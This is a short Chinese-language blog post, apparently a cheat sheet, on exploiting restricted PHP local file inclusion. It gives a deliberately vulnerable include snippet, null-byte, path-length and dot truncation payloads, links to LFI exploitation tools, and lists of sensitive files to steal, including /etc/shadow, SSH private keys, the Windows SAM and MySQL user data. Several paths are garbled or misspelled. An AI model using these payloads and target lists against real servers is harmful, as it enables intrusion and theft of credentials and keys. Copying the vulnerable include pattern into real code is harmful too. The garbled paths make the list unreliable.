有限制的本地文件包含:

```
<?php
include($_GET['file'].".php");
?>
```

%00截断:

?file=C://Windows//win.ini%00 (window, magic_quotes_gpc=off, 网络上盛传PHP小于5.3.4有效, 未完全进行测试, 亲测 PHP 5.2.17有效, PHP-5.3.29-nts无效)

?file==../../../.../../../../../etc/passwd%00 (需要 magic_quotes_gpc=off, PHP小于5.3.4有效)

路径长度截断:

?file=../../../../../etc/passwd/././././[...]/././.(php版本小于5.2.8(?)可以成功, linux需要文件名长于4096, windows需要长于256)

点号截断:

?file=../../../../../boot.ini/.......[...].......(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

文件包含漏洞利用工具

LFISuite: https://github.com/D35m0nd142/LFISuite

LFI Scan & Exploit Tool: https://github.com/P0cL4bs/Kadimus/

window常见包含路径:

C:\boot.ini

C:\Windows\win.ini

C:\Windows\system.ini

Windows:

C:\boot.ini //查看系统版本 C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件 C:Windowsrepairsam //存储系统初次安装的密码 C:Program Filesmysqlmy.ini //Mysql配置 C:Program Filesmysqldatamysqluser.MYD //Mysql root C:Windowsphp.ini //php配置信息 C:Windowsmy.ini //Mysql配置信息C:Windowswin.ini //Windows系统的一个基本系统配置文件

Linux:

/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //记录每个访问 计算机用户的公钥 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 新文章将同步更新到我的个人公众号上,欢迎各位朋友扫描我的公众号二维码关注一下我,随时获取最新动态。

